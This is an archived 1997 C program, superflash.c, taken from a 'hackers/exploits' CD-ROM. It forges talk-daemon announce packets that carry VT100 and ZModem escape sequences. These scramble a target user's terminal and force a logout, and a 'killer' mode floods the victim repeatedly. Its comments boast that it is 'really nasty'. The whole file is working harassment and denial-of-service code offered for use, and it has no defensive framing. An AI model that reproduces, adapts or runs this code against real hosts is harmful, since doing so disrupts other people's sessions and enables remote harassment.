home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / superfla.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-02-23  |  7.0 KB  |  299 lines

  1. /* superflash.c
  2.    This little program is intended to quickly mess up a user's
  3.    terminal by issuing a talk request to that person and sending
  4.    vt100 escape characters that force the user to logout or kill
  5.    his/her xterm in order to regain a sane view of the text.
  6.    It the user's message mode is set to off (mesg n) he/she will
  7.    be unharmed. 
  8.    This program is really nasty :-)
  9.  
  10.    Usage: flash user@host
  11.  
  12.    try compiling with: gcc -o flash flash.c
  13. */
  14.  
  15. /* Changes: 
  16.  
  17.      Allow several types of flash. Usage: flash user@host [level]
  18.     where level is either the number or the word for these:
  19.     1 - BASIC  - Old flash, no zmodem, just the nuke strings.
  20.     2 - ZMODEM - Old with ZModem.
  21.     3 - KILLER - 99 ZModem flashes. Should keep someone's term 
  22.         occupied for a while. WARNING: DONT FLASH ROOT with 
  23.         this shit. This leaves a trail a mile wide.
  24.  
  25. */
  26.  
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30. #include <netdb.h>
  31. #include <stdio.h>
  32. #include <strings.h>
  33. #include <string.h>
  34. #include <ctype.h>
  35.  
  36. #define BASIC  1
  37. #define ZMODEM 2
  38. #define KILLER 3
  39.  
  40. #define FIRST "\033(0\033#8" 
  41. #define SECOND "\033[1;3r"
  42. #define THIRD  "\033[1;5m\033(0"
  43. #define FOURTH "**\030B00"
  44. #define FIFTH  "\033**EMSI_IRQ8E08"
  45.  
  46. /* Uncomment this for a debugging message... */
  47. /* #define INFOMESSAGE */
  48.  
  49. /* this should really be in an include file..  */
  50.  
  51. #define OLD_NAME_SIZE 9
  52. #define NAME_SIZE    12
  53. #define TTY_SIZE     16 
  54. typedef struct {
  55.     char    type;
  56.     char    l_name[OLD_NAME_SIZE];
  57.     char    r_name[OLD_NAME_SIZE];
  58.     char    filler;
  59.     u_long  id_num;
  60.     u_long  pid;
  61.     char    r_tty[TTY_SIZE];
  62.     struct  sockaddr_in addr;
  63.     struct  sockaddr_in ctl_addr;
  64. } OLD_MSG;
  65.  
  66. typedef struct {
  67.     u_char  vers;
  68.     char    type;
  69.     u_short filler;
  70.     u_long  id_num;
  71.     struct  sockaddr_in addr;
  72.     struct  sockaddr_in ctl_addr;
  73.     long    pid;
  74.     char    l_name[NAME_SIZE];
  75.     char    r_name[NAME_SIZE];
  76.     char    r_tty[TTY_SIZE];
  77. } CTL_MSG;
  78.  
  79. int seed = 0x2837;
  80.  
  81. #define TALK_VERSION    1               /* protocol version */
  82.  
  83. /* Types */
  84. #define LEAVE_INVITE    0
  85. #define LOOK_UP         1
  86. #define DELETE          2
  87. #define ANNOUNCE        3
  88.  
  89. int     current = 1;    /* current id..  this to avoid duplications */
  90.  
  91. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  92. {
  93. static  struct sockaddr    addr;
  94. struct  sockaddr_in *address;
  95. struct  hostent     *host;
  96.  
  97. address = (struct sockaddr_in *)&addr;
  98. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  99. /* fill in the easy fields */
  100. address->sin_family = AF_INET;
  101. address->sin_port = htons(port);
  102. /* first, check if the address is an ip address */
  103. address->sin_addr.s_addr = inet_addr(hostname);
  104. if ( (int)address->sin_addr.s_addr == -1)
  105.     {
  106.     /* it wasn't.. so we try it as a long host name */
  107.     host = gethostbyname(hostname);
  108.     if (host)
  109.         {
  110.         /* wow.  It's a host name.. set the fields */
  111.         /* ?? address->sin_family = host->h_addrtype; */
  112.         bcopy( host->h_addr, (char *)&address->sin_addr,
  113.             host->h_length);
  114.         }
  115.     else
  116.         {
  117.         /* oops.. can't find it.. */
  118.         puts("Couldn't find address"); 
  119.         exit(-1);
  120.         return (struct sockaddr_in *)0;
  121.         }
  122.     }
  123. /* all done. */
  124. return (struct sockaddr_in *)address;
  125. }
  126.  
  127. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  128. {
  129. int     s;
  130. struct sockaddr sample; /* not used.. only to get the size */
  131.  
  132. s = socket(AF_INET, SOCK_DGRAM, 0);
  133. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  134.  
  135.  
  136. new_ANNOUNCE(char *hostname, char *remote, char *local)
  137. {
  138. CTL_MSG  packet; 
  139. struct   sockaddr_in  *address;
  140.  
  141. /* create a packet */
  142. address = getinaddr(hostname, 666 );  
  143. address->sin_family = htons(AF_INET); 
  144.  
  145. bzero( (char *)&packet, sizeof(packet) );
  146. packet.vers   = TALK_VERSION; 
  147. packet.type   = ANNOUNCE;   
  148. packet.pid    = getpid();
  149. packet.id_num = current;
  150. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  151. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  152. strncpy( packet.l_name, local, NAME_SIZE); 
  153. strncpy( packet.r_name, remote, NAME_SIZE); 
  154. strncpy( packet.r_tty, "", 1); 
  155.  
  156. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  157. }
  158.  
  159. old_ANNOUNCE(char *hostname, char *remote, char *local)
  160. {
  161. OLD_MSG  packet;
  162. struct   sockaddr_in  *address;
  163.  
  164. /* create a packet */
  165. address = getinaddr(hostname, 666 );
  166. address->sin_family = htons(AF_INET);
  167.  
  168. bzero( (char *)&packet, sizeof(packet) );
  169. packet.type   = ANNOUNCE;
  170. packet.pid    = getpid();
  171. packet.id_num = current;
  172. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  173. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  174. strncpy( packet.l_name, local, NAME_SIZE);
  175. strncpy( packet.r_name, remote, NAME_SIZE);
  176. strncpy( packet.r_tty, "", 1);
  177.  
  178. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  179. }
  180.  
  181. int rnd()
  182. {
  183.   seed *=0x1243;
  184.   seed = seed & 0xFFFF;
  185.   seed +=1;
  186.   while(seed>10000)seed-=10000;
  187.   return(seed);
  188. }
  189.  
  190.  
  191. pop(char *hostname, char *username, char *flashstring)
  192. {
  193.   char newflashstr[80];
  194.   int e = rnd();
  195.   sprintf(newflashstr,"%d%s",e,flashstring);    
  196.   new_ANNOUNCE(hostname, username, newflashstr); 
  197.   old_ANNOUNCE(hostname, username, newflashstr);
  198. }    
  199.  
  200. flash(int type, char *hostname, char *username)
  201. {
  202.       char firestring[10];
  203.       int x,y;
  204.  
  205.       current=0;
  206.       if (type == 3) y = 14;
  207.       else y = 1;
  208.  
  209.       for(x=0;x<y;x++)    
  210.       {
  211.     current++;
  212.     pop(hostname, username, FIRST);
  213.     current++; 
  214.     pop(hostname, username, SECOND);
  215.     current++;
  216.     pop(hostname, username, THIRD); 
  217.     if(type>1)
  218.     {
  219.       current++;
  220.       pop(hostname, username, FOURTH); 
  221.       current++;
  222.       pop(hostname, username, FIFTH); 
  223.       current++;
  224.       pop(hostname, username, FOURTH);
  225.     }
  226.     current++;
  227.     pop(hostname, username, FIRST); 
  228.       }
  229.     return(current);
  230. }
  231.  
  232. GetType(char *TypeStr)
  233. {
  234.     if (strcmp(TypeStr,"basic")==0)
  235.         return(1);
  236.     else if (strcmp(TypeStr,"zmodem")==0)
  237.         return(2);
  238.     else if (strcmp(TypeStr,"killer")==0)
  239.         return(3);
  240.     else if (strcmp(TypeStr,"1")==0)
  241.         return(1);
  242.     else if (strcmp(TypeStr,"2")==0)
  243.         return(2);
  244.     else if (strcmp(TypeStr,"3")==0)
  245.         return(3);
  246. }    
  247.  
  248. main(int argc, char *argv[])
  249. {
  250.     char    *hostname, *username; 
  251.     int     pid,type,name;
  252.  
  253.  
  254.     if ( (pid = fork()) == -1)  
  255.         {
  256.         perror("fork()");
  257.         exit(-1);
  258.         }
  259.     if ( !pid )
  260.         {
  261.         exit(0);
  262.         }
  263.     if (argc < 2) { 
  264.         puts("Usage: <finger info> ");
  265.         exit(5);
  266.     }
  267.     if (argc >= 3) {
  268.         type=GetType(argv[argc-1]);
  269.         if(type<1||type>3)type=ZMODEM;
  270.     }
  271.     else type=ZMODEM;     /* default */
  272.  
  273.     for(name=1; name<argc-1; name++)
  274.     {
  275.     username = argv[name]; 
  276.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  277.         {
  278.         puts("Invalid name.  ");
  279.         exit(-1);
  280.         }
  281.     *hostname = '\0'; 
  282.     hostname++; 
  283.  
  284.     if (*username == '~') 
  285.         username++; 
  286. #ifdef INFOMESSAGE
  287.                printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  288.             type,username,hostname,
  289.             flash(type,hostname,username));
  290. #else
  291.     flash(type,hostname,username);
  292. #endif
  293.     sleep(1);
  294.     }
  295. }
  296.  
  297.  
  298.